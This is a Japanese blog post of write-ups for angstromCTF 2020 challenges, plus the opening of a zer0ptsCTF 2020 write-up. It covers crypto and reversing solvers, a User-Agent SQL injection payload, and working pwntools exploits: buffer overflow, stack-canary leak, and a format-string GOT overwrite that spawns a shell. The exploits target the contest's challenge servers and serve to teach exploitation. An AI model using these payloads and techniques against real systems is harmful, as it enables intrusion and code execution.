Our insider leaked the source, but was "terminated" shortly thereafter...

  • app.py

サイトとソースコードから,特定のUser-Agentのみでしかログインできないようになっていることがわかります.
ソースコードを見ると,User-AgentでSQL InjectionができそうだったのでとりあえずUser-Agentを" ' OR '1' = '1"にしてログインしてみました.
するとhey! close, but no bananananananananana!!!! (there are many secret agents of course)みたいなことを言われ煽られます.
改めてソースコードを見ると,データベースにはアクセスできるUser-Agentが複数登録されていて,ヒットしたUser-Agentの件数が一つでないとアクセスできないようになっていることがわかりました.
SQLでヒット件数を絞るものといえばLIMITです.これを使ってログインしていきます.
具体的にはUser-Agentを"' OR '1' = '1' LIMIT [offset],1; --"としてログインすればいいです.
一人目のエージェントだと次のような感じになりました.
f:id:mi__tsu:20200319025136p:plain
GRUという名前でログインしているっぽいです.エージェントは他にもたくさんいるらしいので恐らくこの中にフラグがあるのかと考えオフセットを変更したところ,無事フラグを所得することができました.
f:id:mi__tsu:20200319025354p:plain
actf{nyoom_1_4m_sp33d}

[Crypto: 40 pts] Keysar

Hey! My friend sent me a message... He said encrypted it with the key ANGSTROMCTF.
He mumbled what cipher he used, but I think I have a clue.
Gotta go though, I have history homework!!
agqr{yue_stdcgciup_padas}

最初はヴィジュネル暗号かなにかかと思いましたが違いました.
色々ググると,どうやら鍵付きのカエサル暗号(Keyed Caesar)なるものがあるらしいのでデコーダにぶっこんだらフラグがでました.
actf{yum_delicious_salad}

[Crypto: 70 pts] Reasonably Strong Algorithm

RSA strikes again!
- rsa.txt
RSA暗号の公開鍵と暗号文が渡されます.
 n = 126390312099294739294606157407778835887 です.これは明らかに小さいので簡単に素因数分解できます.
結果的に, n = pq=9336949138571181619 \cdot 13536574980062068373 でした.
RSA暗号 c=m^{e} \mod n なので
 \phi(n)=(p - 1)(q - 1),\ d=e^{-1} \mod \phi(n) として  c^{d} \mod n を計算すれば平文が求まります.
そるばどぺー

from Crypto.PublicKey import RSA
import gmpy2
import re
import base64

# a * x0 + b * y0 = gcd(a, b)
# return gcd(a,b), x0, y0
def egcd(a, b):
    (x0, x1, y0, y1) = (1, 0, 0, 1)
    while b != 0:
        (q, a, b) = (a // b, b, a % b)
        (x0, x1, y0, y1) = (x1, x0 - q * x1, y1, y0 - q * y1)
    return (a, x0, y0)

def modinv(a, mod):
    g, x, y = egcd(a, mod)
    if g != 1:
        raise Exception("Modinv does not exist")
    return x % mod

def importPubKey(filename):
    with open(filename) as f:
        key = RSA.importKey(f.read())
    return key.n, key.e

def getBase64Cipher(string):
    c = base64.b64decode(string)
    return int.from_bytes(c, "big")

# factoring: msieve -q -v -e n
def pqAttack(p, q, e, c):
    n = p * q
    phi = (p - 1) * (q - 1)
    d = modinv(e, phi)
    return pow(c, d, n)

def lowExponentAttack(e, c):
    m, _ = gmpy2.iroot(c, e)
    return int(m)

def commonModulusAttack(n, e1, c1, e2, c2):
    _, x, y = egcd(e1, e2)
    x = pow(c1, x, n)
    y = pow(c2, y, n)
    return (x * y) % n

def decodeM(m):
    s = hex(m)[2:]
    l = []
    if (len(s) & 1):
        l.append(chr(int(s[0], 16)))
        s = s[1:]
    ss = re.split("(..)", s)[1::2]
    for i in ss:
        l.append(chr(int(i, 16)))
    return "".join(l) 

if __name__ == "__main__":
    n = 126390312099294739294606157407778835887
    e = 65537
    c = 13612260682947644362892911986815626931
    p = 9336949138571181619
    q = 13536574980062068373
    print(decodeM(pqAttack(p, q, e, c)))

actf{10minutes}

[Crypto: 90 pts] Wacko Image

How to make hiding stuff a e s t h e t i c? And can you make it normal again? enc.png image-encryption.py
The flag is actf{x#xx#xx_xx#xxx} where x represents any lowercase letter and # represents any one digit number.

  • enc.png
  • image-encryption.py

エンコードスクリプトエンコードされた画像が渡されます.
f:id:mi__tsu:20200319031233p:plain
さすがに見えない.
スクリプトを読むと,元の画像の各ピクセルのRGB値に対しkeyだけかけて251で剰余を取るという操作をしていました.
またkeyの値はRなら41,Gなら37,Bなら23といった感じです.
というわけでデコードの方法として,エンコードされた画像の各ピクセルに対し251を法としたkeyの逆数(modinv)をかければ大丈夫そうです.
そるばどぺー

from numpy import *
from PIL import Image

# a * x0 + b * y0 = gcd(a, b)
# return gcd(a,b), x0, y0
def egcd(a, b):
    (x0, x1, y0, y1) = (1, 0, 0, 1)
    while b != 0:
        (q, a, b) = (a // b, b, a % b)
        (x0, x1, y0, y1) = (x1, x0 - q * x1, y1, y0 - q * y1)
    return (a, x0, y0)

def modinv(a, mod):
    g, x, y = egcd(a, mod)
    if g != 1:
        raise Exception("Modinv does not exist")
    return x % mod

flag = Image.open(r"enc.png")
img = array(flag)

key = [41, 37, 23]
key = [23, 37, 41]

a, b, c = img.shape

for x in range (0, a):
    for y in range (0, b):
        pixel = img[x, y]
        for i in range(0,3):
            pixel[i] = (pixel[i] * modinv(key[i], 251)) % 251
        img[x][y] = pixel

enc = Image.fromarray(img)
enc.save('dec.png')

f:id:mi__tsu:20200319031834p:plain
actf{m0dd1ng_sk1llz}

[Crypto: 100 pts] Confused Streaming

I made a stream cipher!
nc crypto.2020.chall.actf.co 20601

  • chall.py

netcatで接続すると,a,b,cの入力を求められ,条件を満たしていた場合それらで暗号化したフラグが入手できます.
と言っても,条件さえ満たしていれば出力が変わらなさそうだったのでフラグがそのままでてると考え解きました.
これに気づくまでは大変でした……
そるばどぺー

bins = "01100001011000110111010001100110011110110110010001101111011101110110111001011111011101000110111101011111011101000110100001100101010111110110010001100101011000110110100101101101011000010110110001111101"
bins = [bins[i * 8: i * 8 + 8] for i in range(len(bins) // 8)]

for i in bins:
    c = int(i, 2)
    print(chr(c), end="")

actf{down_to_the_decimal}

[Crypto: 100] one time bad

My super secure service is available now!
Heck, even with the source, I bet you won't figure it out.
nc misc.2020.chall.actf.co 20301

  • server.py

乱数を使って文字列を生成し,暗号文や鍵を作っているようです.
2番の処理は,内部で生成した文字列のBase64を出力し,生成に利用したワンタイムパッドの文字列を当てさせるといったものでした.
無事当てられたらフラグが手に入るようです.
ワンタイムパッドの処理を見てると,文字列長は1から30,各文字はランダムといった感じで生成しているっぽいです.
文字列の長さが1の場合で特定の文字列を決め打ちしていれば,800回の接続もせずに当たります.
そるばどぺー

import random
import base64
from pwn import *

r = remote("misc.2020.chall.actf.co", 20301)

while True:
    print(r.recv(0x100))
    r.sendline("2")
    r.sendline("T")

フラグは忘れちゃいました

[Crypto: 130] Discrete Superlog

You've heard of discrete log...now get ready for the discrete superlog.
nc crypto.2020.chall.actf.co 20603

 \mathbb{Z} / p\mathbb{Z} 上でテトレーション  ^{x}a=b を満たす  x を10回求める問題です.
テトレーションの説明は面倒くさいのでwikipediaでも読んでください.
最初はうろたえました.離散対数問題にはないテトレーション特有の性質を使って実は対数が効率的に求まるのかと思ってましたが,結局そんなことはやっぱりないようです.
手元で色々実験していたら  x の値が  10 以下であることがわかりました.
というわけで与えられた  a について  ^{x}a,\ (x = 1,2,\cdots ,10) を計算すれば条件を満たす  x が無理やり求められそうです.
テトレーション  ^{x}a \mod p は,オイラーの定理と中国剰余定理を使えば  \mathcal{O}(\log{}p) 程度の操作で求められうことが割と簡単に示せます.
ただ, \mathcal{O}(\log{}p) 程度の操作の中でトーティエント関数の計算を行っているためこれがネックとなり,全体としての計算量はほぼ  \phi(n) の計算量に依存する(んじゃないなーと思い)ます.
 \phi(n)素因数分解を使うことでそれなりに高速に求めることができます.素因数分解のコードは自分で書いてもよかったのですが,回数を重ねるごとに与えられる  p の値が次第に大きくなっていくのを見て不安になったためmsieveを使いました.
次のコードは  a p を受け取り, x 1 から  10 までのときのテトレーションを計算するプログラムです.
そるばどぺー

"""
*** This program uses the msieve for calc phi(n)
*** Before run thi program, wget the msieve-1.53

for x in range(10):
    print(x, a^^x % p)
"""

import math
from fractions import Fraction
from pwn import *

# Euler's totient function
def phi(n):
    r = process(["./msieve-1.53/msieve", "-v", "-e", "-q", str(n)])
    print(r.recvuntil("p"))
    buf = r.recvall()[:-2].decode("utf-8")
    print(buf)
    r.close()
    buf = buf.split()
    factors = []
    for i in range(len(buf) // 2):
        if buf[i * 2 + 1].isdecimal():
            factors.append(int(buf[i * 2 + 1]))
    factors = list(set(factors))

    print("calc phi({})".format(n))
    print("factors:", factors)

    res = Fraction(n, 1)
    for i in factors:
        pk = i
        res *= Fraction(pk - 1, pk)
    print("phi = {}".format(int(res)))
    return int(res)

# modtetration
# a ^^ b mod c
def tetration(a, b, c):
    if c == 1:
        return 0
    if a == 1:
        return 1

    if b == 0:
        return 1
    if b == 1:
        return a % c
    g = math.gcd(pow(a, int(math.log2(c)), c), c)
    pg = phi(c // g)

    if g == c:
        return 0

    res = pow(a, tetration(a, b - 1, pg) + pg, c)
    return res

p = int(input())
a = int(input())

buf = []
for i in range(1, 11):
    buf.append(tetration(a, i, p))

for i in range(len(buf)):
    print(i + 1, buf[i])

actf{lets_stick_to_discrete_log_for_now...}

[Binary: 50 pts] No Canary

Agriculture is the most healthful, most useful and most noble employment of man.
George Washington
Can you call the flag function in this program (source)? Try it out on the shell server at /problems/2020/no_canary or by connecting with nc shell.actf.co 20700.

  • no_canary.c
  • no_canary

最初の名前入力欄にバッファオーバーフローがあります.ご親切にフラグを表示する関数がバイナリに含まれていたのでそれを呼び出すだけです.
そるばどぺー

from pwn import *

offset = 40
flag = 0x00401186

r = remote("shell.actf.co", 20700)

payload = b"A" * offset
payload += p64(flag)

r.sendline(payload)

r.interactive()

[Binary: 70 pts] Canary

A tear rolled down her face like a tractor. “David,” she said tearfully, “I don’t want to be a farmer no more.”
—Anonymous
Can you call the flag function in this program (source)? Try it out on the shell server at /problems/2020/canary or by connecting with nc shell.actf.co 20701.

  • canary.c
  • canary

最初の名前入力欄にfsbがあります.またAnything else you want ... といったところにbofがあります.
fsaでcanaryを読み出し,canaryの値を元の値のままにしながらbofを利用することで *** stack smashing detected *** を回避できます.
そるばどぺー

from pwn import *
import sys

context.arch = "amd64"

fsb_offset = 6
canary_offset = 56
bof_offset = 72
printf_got = 0x601fd0
flag = 0x00400787

if len(sys.argv) == 1:
    r = process("./canary")
    print(r.pid)
    sleep(5)
else:
    r = remote("shell.actf.co",20701)

# fsa
payload = b"%17$lx"


r.sendline(payload)
r.recvuntil("you, ")
canary = int(r.recvline()[:-2], 16)

log.info("canary {}".format(hex(canary)))

# bof
payload = b"A" * canary_offset
payload += p64(canary)
payload += b"B" * (bof_offset - len(payload))
payload += p64(flag)

r.sendline(payload)

r.interactive()

[Binary: 120 pts] LIBrary in C

After making that trainwreck of a criminal database site, clam decided to move on and make a library book manager ... but written in C ... and without any actual functionality. What a fun guy. I managed to get the source and a copy of libc from him as well.
Find it on the shell server at /problems/2020/library_in_c, or over tcp at nc shell.actf.co 20201.

  • libc.so.6
  • library_in_c.c
  • library_in_c

最初の名前の入力と本の入力でfsbがあります.
flagを表示してくれる関数がないため,libcのsystem関数でシェルを取ることを考えます.
まず最初のfsaでputsのgotアドレスを利用してlibcのベースアドレスをリークします.この時スタックに残っているローカル変数のアドレスも読み出すことでリターンアドレスのリークも行います.
ユーザの自由な入力が第一引数となっているprintfをgot overwriteしてsystem関数を呼び出したいですが,それには一旦main関数の先頭に戻らなくてはいけません.
ということで2段階目のfsaでは,リターンアドレスの中身をmainの先頭あたりに変更してあげるペイロードを送り込みます.
こうしてmainの先頭に帰ってきたので,また2回fsaが行えます.
3段階目のfsaではprintfに対しgot overwriteを行い,printfが呼び出される時systemが呼び出されるようにします.
途中で printf("Your cart:\n - "); が実行されますが,Your cartなんてコマンドはないので,そんなコマンドないよ的なことを言ってそのまま次の命令へ進んでくれます.エラーで落ちず安心しました.
よって次のfgetsで/bin/shを送り込めばシェルが奪えます.
そるばどぺー

from pwn import *
import sys

context.clear(arch = "amd64")

puts_got = 0x601018
printf_got = 0x601030
main_addr = 0x400748

if len(sys.argv) == 1:
    puts_offset = 0x809c0
    system_offset = 0x4f440
    r = process("./library_in_c")
    log.info("pid = {}".format(r.pid))
    # sleep(5)
else:
    puts_offset = 0x6f690 
    system_offset = 0x45390
    r = remote("shell.actf.co", 20201)
    sleep(0.1)

r.recv(0x100)

# leak libc base
payload = b"%10$s!%24$lx!!!!" + p64(puts_got)
r.sendline(payload)

r.recvuntil("Why hello there ")

puts_addr = r.recvuntil("!")[:-1]
puts_addr = u64(puts_addr + b"\x00" * (8 - len(puts_addr)))
return_addr = int(r.recvuntil("!")[:-1], 16) + (0x7fffffffe4e8 - 0x7fffffffe5c0)

libc_base = puts_addr - puts_offset
system_addr = libc_base + system_offset

log.info("libc_base = {}".format(hex(libc_base)))
log.info("return_addr = {}".format(hex(return_addr)))
log.info("puts_addr = {}".format(hex(puts_addr)))

if (system_addr & 0xffffffff) >= 0x10000000:
    log.info("write num is too large")
    sys.exit(1)

# ret2main
writenum = main_addr
payload = "%" + str(writenum) + "c%20$n" + "%" + str(0xffff - (writenum & 0xffff) + 1) + "c%21$hn"
if len(payload) > 32:
    log.info("payload is too long")
    sys.exit(1)
payload += "!" * (32 - len(payload))
payload = payload.encode("utf-8") + p64(return_addr) + p64(return_addr + 4)
print(payload)
print(len(payload))

r.sendline(payload)

# got over write
writenum = system_addr & 0xffffffff
writenum2 = (system_addr & 0xffff00000000) >> 32
payload = "%" + str(writenum & 0xffffffff) + "c%12$n" + "%" + str(0xffff - (writenum & 0xffff) + 1 + writenum2) + "c%13$hn"
if len(payload) > 32:
    log.info("payload is too long")
    sys.exit(1)
payload += "!" * (32 - len(payload))
payload = payload.encode("utf-8") + p64(printf_got) + p64(printf_got + 4)

r.sendline(payload)

r.sendline("/bin/sh")

r.interactive()

文字数の関係上,printfのgot overwriteを%nで行っています.そのため出力される文字数が非常に多く,pwntoolsのパイプがエラーを履くことがありました.
そのためsystem関数のアドレスが大きすぎる場合プログラムを終了するようにしています.実際にフラグを取るときは次のようなシェルコードでブンブン回していました.

while :
do
	python solve.py r
done

フラグは忘れちゃいました

[Rev: 50 pts] Revving Up

Clam wrote a program for his school's cybersecurity club's first rev lecture! Can you get it to give you the flag? You can find it at /problems/2020/revving_up on the shell server, which you can access via the "shell" link at the top of the site.

  • revving_up

第一引数をbanana,標準入力にgive flagを送り込めば大丈夫です.
actf{g3tting_4_h4ng_0f_l1nux_4nd_b4sh}

[Rev: 50 pts] Windows of Opportunity

Clam's a windows elitist and he just can't stand seeing all of these linux challenges! So, he decided to step in and create his own rev challenge with the "superior" operating system.

windowsのバイナリが渡されます.しかしなんとstringsでフラグが出てしまいます.
actf{ok4y_m4yb3_linux_is_s7ill_b3tt3r}

[Rev: 70 pts] Taking Off

So you started revving up, but is it enough to take off? Find the problem in /problems/2020/taking_off/ in the shell server.

  • taking_off

ある条件を満たす引数で実行すればフラグが得られるようです.
まず,第一引数  x と第二引数  y と第三引数  z 0 \leq x,y,z \leq 9 かつ  100y + 10x + z = 932 を満たす必要があるため, x = 3,\ y = 9,\ z = 2 です.
また第四匹数は"chicken"という文字列ではないといけないっぽいです.
またパスワードは,あるバイト列に0x2aをxorしたものでplease give flagでした.
actf{th3y_gr0w_up_s0_f4st}

[Rev: 100 pts] Patcherman

Oh no! We were gonna make this an easy challenge where you just had to run the binary and it gave you the flag, but then clam came along under the name of "The Patcherman" and edited the binary! I think he also touched some bytes in the header to throw off disassemblers. Can you still retrieve the flag?

  • patcherman

どうやらフラグを表示するプログラムのようです.しかし何故かフラグが出てこないまま無限ループみたいになってしまいます……
gdbで追いかけようとしても実行フィルとして見てくれなくてトレースできません.
よくわからずreadelfでヘッダを見てみると大量のエラーを吐いていました.

$ readelf -h patcherman
ELF ヘッダ:
  マジック:  7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 
  クラス:                            ELF64
  データ:                            2 の補数、リトルエンディアン
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI バージョン:                    0
  型:                                EXEC (実行可能ファイル)
  マシン:                            Advanced Micro Devices X86-64
  バージョン:                        0x1
  エントリポイントアドレス:          0x400570
  プログラムヘッダ始点:            64 (バイト)
  セクションヘッダ始点:              0 (バイト)
  フラグ:                            0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         9
  Size of section headers:           64 (bytes)
  Number of section headers:         29
  Section header string table index: 28
readelf: 警告: Section 1 has an out of range sh_link value of 504
readelf: 警告: Section 4 has an out of range sh_link value of 3616
readelf: 警告: Section 5 has an out of range sh_link value of 4194900
readelf: 警告: Section 6 has an out of range sh_link value of 4196624

セクション周りがエラー吐いてるようです.セクションの情報はなくても実行できるため,全て消し去ります.
Number of section headersとSection header string table indexを0にすればいいです.これらの情報は0x3cから0x3fに格納されています.
というわけでバイナリエディタで適当に編集したらエラーがなくなりました.

$ readelf -h dec
ELF ヘッダ:
  マジック:  7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 
  クラス:                            ELF64
  データ:                            2 の補数、リトルエンディアン
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI バージョン:                    0
  型:                                EXEC (実行可能ファイル)
  マシン:                            Advanced Micro Devices X86-64
  バージョン:                        0x1
  エントリポイントアドレス:          0x400570
  プログラムヘッダ始点:            64 (バイト)
  セクションヘッダ始点:              0 (バイト)
  フラグ:                            0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         9
  Size of section headers:           64 (bytes)
  Number of section headers:         0
  Section header string table index: 0

あとはフリーズしてしまう条件分岐を回避しながらgdbでポチポチやればフラグが入手できます.
フラグは忘れちゃいました.

[Rev: 120 pts] A Happy Family

Clam became a parent and had a child. Or at least he dreamed about it. Anyway, clam wrote a program to describe his dream. In fact, he's so happy that he provided source!

  • a_happy_family.c
  • a_happy_family

ありがたいことにソースコードが渡されました.mkfifoを使って名前付きパイプで子プロセスと親プロセスがやり取りしてるっぽいです.
与えられた文字列を4つに分け,strcmpで謎の文字列と比較しているようです.
内容としては,与えられた文字列を偶数文字目と奇数文字目にわけ,偶数文字目は親が,奇数文字目は子が処理をするといった感じです.
またこの文字列の長さは32文字でないといけないようです.
親プロセスは奇数文字目の文字列を8バイト二つに分け,tobase()という関数でなにやら変形させています.
子プロセスも同様に,偶数文字目の文字列を二つにわけてtobase()という感じです.他にも引き算等行われていますが,これは簡単に逆の操作ができるため割愛します.
tobase()関数の処理を読むと,与えられた文字列を13進数に変形しているようです.また各桁に用いられるもの(10進数なら0~9)はこの処理では"angstromctf20"を使うっぽいです.
結局の所13進数を10進数に直せばいいだけなので,初期値0から13をかけて桁の分を足す操作を繰り返しやれば元に戻せます.
注意として,桁として使われる文字にはtが二つ含まれています.そのため片方のtをXに置き換えて,それっぽい文字列を総当りしました.
そるばどぺー

import sys
import re

BASE = 13
basechars = "angstromcXf20"
def getInd(ch):
    for i in range(len(basechars)):
        if basechars[i] == ch:
            return i
    print("getInd(ch) error")
    sys.exit(1)

def revBase(st):
    res = 0
    # print(st)
    for i in st:
        res *= BASE
        res += getInd(i)
    return res

def uloNot(x):
    return 0xffffffffffffffff - x

def uloMinus(x):
    return uloNot(x) + 1

def decodeM(m):
    s = hex(m)[2:]
    l = []
    if (len(s) & 1):
        l.append(chr(int(s[0], 16)))
        s = s[1:]
    ss = re.split("(..)", s)[1::2]
    for i in ss:
        l.append(chr(int(i, 16)))
    l.reverse()
    return "".join(l)

def solve(target):
    return revBase(target)

# n1
n1s = []
t = "artomtf2srn00tgm2f"
n1s.append(decodeM(solve(t)))
t = "artomtf2srn00Xgm2f"
n1s.append(decodeM(solve(t)))
t = "artomXf2srn00tgm2f"
n1s.append(decodeM(solve(t)))
t = "artomXf2srn00Xgm2f"
n1s.append(decodeM(solve(t)))
t = "arXomtf2srn00tgm2f"
n1s.append(decodeM(solve(t)))
t = "arXomtf2srn00Xgm2f"
n1s.append(decodeM(solve(t)))
t = "arXomXf2srn00tgm2f"
n1s.append(decodeM(solve(t)))
t = "arXomXf2srn00Xgm2f"
n1s.append(decodeM(solve(t)))
print("n1")
print(n1s)
print()

# n2
n2s = []
t = "ng0fa0mat0tmmmra0c"
n2s.append(decodeM(uloNot(solve(t))))
t = "ng0fa0mat0Xmmmra0c"
n2s.append(decodeM(uloNot(solve(t))))
t = "ng0fa0maX0tmmmra0c"
n2s.append(decodeM(uloNot(solve(t))))
t = "ng0fa0maX0Xmmmra0c"
n2s.append(decodeM(uloNot(solve(t))))
print("n2")
print(n2s)
print()

# n3
n3s = []
t = "ngnrmcornttnsmgcgr"
n3s.append(decodeM(uloMinus(solve(t) - 0x1337)))
t = "ngnrmcorntXnsmgcgr"
n3s.append(decodeM(uloMinus(solve(t) - 0x1337)))
t = "ngnrmcornXtnsmgcgr"
n3s.append(decodeM(uloMinus(solve(t) - 0x1337)))
t = "ngnrmcornXXnsmgcgr"
n3s.append(decodeM(uloMinus(solve(t) - 0x1337)))
print("n3")
print(n3s)
print()

# n4
n4s = []
t = "a0fn2rfa00tcgctaot"
n4s.append(decodeM((solve(t) + 0x4242) ^ 0x1234567890abcdef))
t = "a0fn2rfa00tcgctaoX"
n4s.append(decodeM((solve(t) + 0x4242) ^ 0x1234567890abcdef))
t = "a0fn2rfa00tcgcXaot"
n4s.append(decodeM((solve(t) + 0x4242) ^ 0x1234567890abcdef))
t = "a0fn2rfa00tcgcXaoX"
n4s.append(decodeM((solve(t) + 0x4242) ^ 0x1234567890abcdef))
t = "a0fn2rfa00Xcgctaot"
n4s.append(decodeM((solve(t) + 0x4242) ^ 0x1234567890abcdef))
t = "a0fn2rfa00XcgctaoX"
n4s.append(decodeM((solve(t) + 0x4242) ^ 0x1234567890abcdef))
t = "a0fn2rfa00XcgcXaot"
n4s.append(decodeM((solve(t) + 0x4242) ^ 0x1234567890abcdef))
t = "a0fn2rfa00XcgcXaoX"
n4s.append(decodeM((solve(t) + 0x4242) ^ 0x1234567890abcdef))
print("n4")
print(n4s)
print()

# n3,n4が奇数番目の文字、n1,n2が偶数番目の文字
#  n3n4
# n1n2  

actf{gre4t_p4r3nt_w1th_4_b3tt3r_ch1ld}

[Rev: 120 pts] Califrobnication

It's the edge of the world and all of western civilization. The sun may rise in the East at least it's settled in a final location. It's understood that Hollywood sells Califrobnication.

  • califrobnication.c
  • califrobnication

ソースコードはフラグをmemfrobしてstrfryするだけでした.
strfryは文字列をランダムに並べ替える関数で,memfrobは文字列の各文字に42をxorするだけです.
とりあえず暗号文がほしいので,angstromのshellにログインして暗号化されたフラグをc2というファイル名でローカル環境にダウンロードしました.
またmemfrobは簡単に解除できるため,先に解除するスクリプトを書きました.

with open("c2", "rb") as f:
    buf = f.read()[len("Here's your encrypted flag: "):-1]
res = ""
for i in buf:
    res += chr(42 ^ i)
print(res)

これでフラグのアナグラムが入手できます.
次にstrfryを解除することを考えるため,glibcのstrfryのソースコードを頑張って読みました.
フィッシャーイェーツ的な処理を行っていて,使用している乱数列さえわかれば結構簡単に逆の操作が行えます.
ただsrand(N)みたいな感じで固定シードで暗号化が行われているわけではないため,strfry内部で擬似乱数のシードを設定することになっています.
というかそもそもstrfryの疑似乱数はrand()とは少し違うため,srand()を使ってもstrfryを呼び出したときはまず乱数の初期化から始まります.
これじゃ乱数の予測は難しいとここで無限に時間を溶かしていました……が,実は簡単に予測できました.
strfryで使われている疑似乱数はrandom_r()というものです.またこの初期化にはinitstate_r()が使われていて,引数にはtime(NULL)^getpid()が与えられています.
ということは,time(NULL)の値とそのプロセスのpidがわかれば予測できちゃいます.
ということで,califrobnicationを実行する直前と直後の次のようなプログラムを走らせれば引数として与えられているパラメータがわかるのです.

#include <stdio.h>
#include <time.h>

int main() {
	printf("%d\n", time(NULL));
	printf("%d\n", getpid());
	return 0;
}

ということで改めてangstromctfのshellでこのプログラムを書き,/tmp/checkerとしてコンパイルし,次のようなコマンドを走らせました.

$ /tmp/checker ; ./califrobnication > /tmp/c2 ; /tmp/checker
1584631992
5393
1584631992
5395

おそらくこの暗号化に使われたtime(NULL)は1584631992,pidは5394だとわかります.
/tmp/c2をscpでダウンロードして先程のmemfrobを解除するコードにかけると,"na{i_t9a5a4d_f5dfim8odofcit}nl1rc1a2a4ofc_b6rc0e" という文字列を得ることができました.
また,timeとpidのxorは1584629162です.
ここまでわかれば次のようなコードで複合することができます.第一引数にtime ^ pidを取ります.

#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
	FILE *f;
	char flag[50] = "na{i_t9a5a4d_f5dfim8odofcit}nl1rc1a2a4ofc_b6rc0e";
	strtok(flag, "\n");
	// memfrob(&flag, strlen(flag));
	size_t len = strlen(flag);

	// srand(atoi(argv[1]));
	static int init;
	static struct random_data rdata;
	if(!init) {
		static char state[32];
		rdata.state = NULL;
		initstate_r (atoi(argv[1]), state, sizeof (state), &rdata);
		init = 1;
	}

	int32_t rands[len - 1];
	for(size_t i = 0; i < len - 1; i++) {
		random_r(&rdata, &rands[i]);
		// rands[i] = rand();
	}

	for(int i = len - 2; i >= 0; i--) {
		int32_t j = rands[i];
		j = j % (len - i) + i;
		printf("%d\n", j);

		char c = flag[i];
		flag[i] = flag[j];
		flag[j] = c;
	}

	printf("Here's your encrypted flag: %s\n", &flag);
}

actf{dream_of_califrobnication_1f6d458091cad254}

[Rev: 125 pts] Autorev, Assemble!

Clam was trying to make a neural network to automatically do reverse engineering for him, but he made a typo and the neural net ended up making a reverse engineering challenge instead of solving one! Can you get the flag?

  • autorev_assemble

オートとか言ってるのでangr問かと思ったらangr問でした.
標準入力で文字列を受け取り,それが求めている文字列か判定するタイプのバイナリです.
アセンブルすると大量の比較処理で埋まっていました.ひえー
f:id:mi__tsu:20200320004242p:plain
angrで解きます.そこまで複雑な処理はいらず,本当に典型という感じでした.125ptsとは.
そるばどぺー

import angr

f = "autorev_assemble"

p = angr.Project(f)
state = p.factory.entry_state()
simgr = p.factory.simulation_manager(state)

simgr.explore(find=0x408953, avoid=0x408961)
found = simgr.found[0]
print(found.posix.dumps(0))

actf{wr0t3_4_pr0gr4m_t0_h3lp_y0u_w1th_th1s_df93171eb49e21a3a436e186bc68a5b2d8ed}

[Rev: 160 pts] Masochistic Sudoku

Clam's tired of the ease and boredom of traditional sudoku. Having just one solution that can be determined via a simple online sudoku solver isn't good enough for him. So, he made masochistic sudoku! Since there are no hints, there are around 6*10^21 possible solutions but only one is actually accepted!

実行すると空の数独が表示されます.各セルに数字が入力でき,それが求められている入力か判定した後,正しい場合はフラグを出力といった感じでした.
最初の方はcursesのライブラリや数独の画面を表示する準備をするだけの処理なのでほとんど読む必要はないです.
結局リバーシングが必要なのはcheck_flag関数のみでした.
f:id:mi__tsu:20200320004939p:plain
check_flagの最初のほうがgen_valueしてassertが無数に連なっているだけでした.
gen_valueは3つの数を使ってある計算を行い,srand()にそれを与え乱数を初期化した後rand()で一つだけ乱数を出力するといったものでした.
またcheck_flagの処理を読むと,第一引数と第二引数は数独のマスの(x, y)座標が与えられているっぽいです.
また第三引数はその座標の数独の中身の数が与えられるようです.
gen_valueのあとのassertは,gen_valueによって出力された疑似乱数をチェックし,gen_valueに正しい引数が与えられていたかチェックするためのものでした.
ということで自分が求めたいのは数独のマスの中なので,自分でgen_valueを実装しシミュレーションしてどの数が正しいか判定するプログラムを作る必要があります.
こんな感じ.第一引数と第二引数にマスの(x, y)座標を入れ,各マスの中の数に応じてgen_valueを出力してくれます.

#include <stdio.h>
#include <stdlib.h>

int gen_value(int x, int y, int num) {
	srand(((num + x * 100 + y * 10 ^ 0x2aU) * 0xd) % 0x2753);
	return rand();
}

int main(int args, char *argv[]) {
	for(int i = 1; i < 10; i++) {
		printf("%d: %x\n", i, gen_value(atoi(argv[1]), atoi(argv[2]), i));
	}
	return 0;
}

これを使って頑張ってgen_value,assertの処理を追いかけると,次のような数独の盤面を得ることができました.
f:id:mi__tsu:20200320005848p:plain
また,gen_value,assert地獄を抜け出したら次は大量のループが待っていました.
f:id:mi__tsu:20200320010004p:plain
いやーradare2様本当に見やすい.お美しい限りです.
これは結局,各列各行,各ブロックに対して同じ数字がないか見ているだけです.数独としてちゃんとなってるか確認しているってことですね.
ということで空白が合ってはダメなので,得られた数独を解きます.
f:id:mi__tsu:20200320010236p:plain
ということでこれを入力すればフラグが得られます.
actf{sud0ku_but_f0r_pe0ple_wh0_h4te_th3mselves}

zer0ptsCTF2020 writeup

はじめに

zer0ptsCTF 2020に参加しました.自分たちStarrySkyは何とか26位につくことができました.
f:id:mi__tsu:20200309152539p:plain
自分はheap問が解けないためpwnはダメダメで,もっとちゃんとするべきだと感じました.
以下自分が解いた問題のwriteupを書いていきます.

[crypto] ROR

LOL

  • chall.py
  • chall.txt

暗号化スクリプトと暗号化されたフラグが渡されます.
暗号化スクリプトを見ると,どうやらフラグの下位数ビットを後ろに持って行って暗号化という操作をフラグのビット長だけ行い,それ毎に出力しているという感じでした.
例えばフラグが0b00110101の時,0b00110101を暗号化,0b10011010を暗号化,0b01001101を暗号化,……,0b01101010を暗号化といった具合です.
また暗号化関数が c = ror(m)^e\ mod\ Nで, N=2^{r_{1}}3^{r_{2}}7^{r_{3}}=2xの形で表せるため,暗号化しても最下位ビットは保存されます.
よってchall.txtの暗号文の最下位ビットを見ていくことでflagが手に入ります.
そるばどぺー

import re

def decodeM(m):
    s = hex(m)[2:]
    l = []
    if (len(s) & 1):
        l.append(chr(int(s[0], 16)))
        s = s[1:]
    ss = re.split("(..)", s)[1::2]
    for i in ss:
        l.append(chr(int(i, 16)))
    return "".join(l) 

f = open("./chall.txt", "r")

line = f.readline()
flag = ""
while line:
    x = int(line.strip())
    flag = str(x & 1) + flag
    line = f.readline()

flag = int(flag, 2)
print(decodeM(flag))
f.close()

zer0pts{0h_1t_l34ks_th3_l34st_s1gn1f1c4nt_b1t}

[crypto] diysig

I made a cipher-signature system by myself.

  • diysig.py
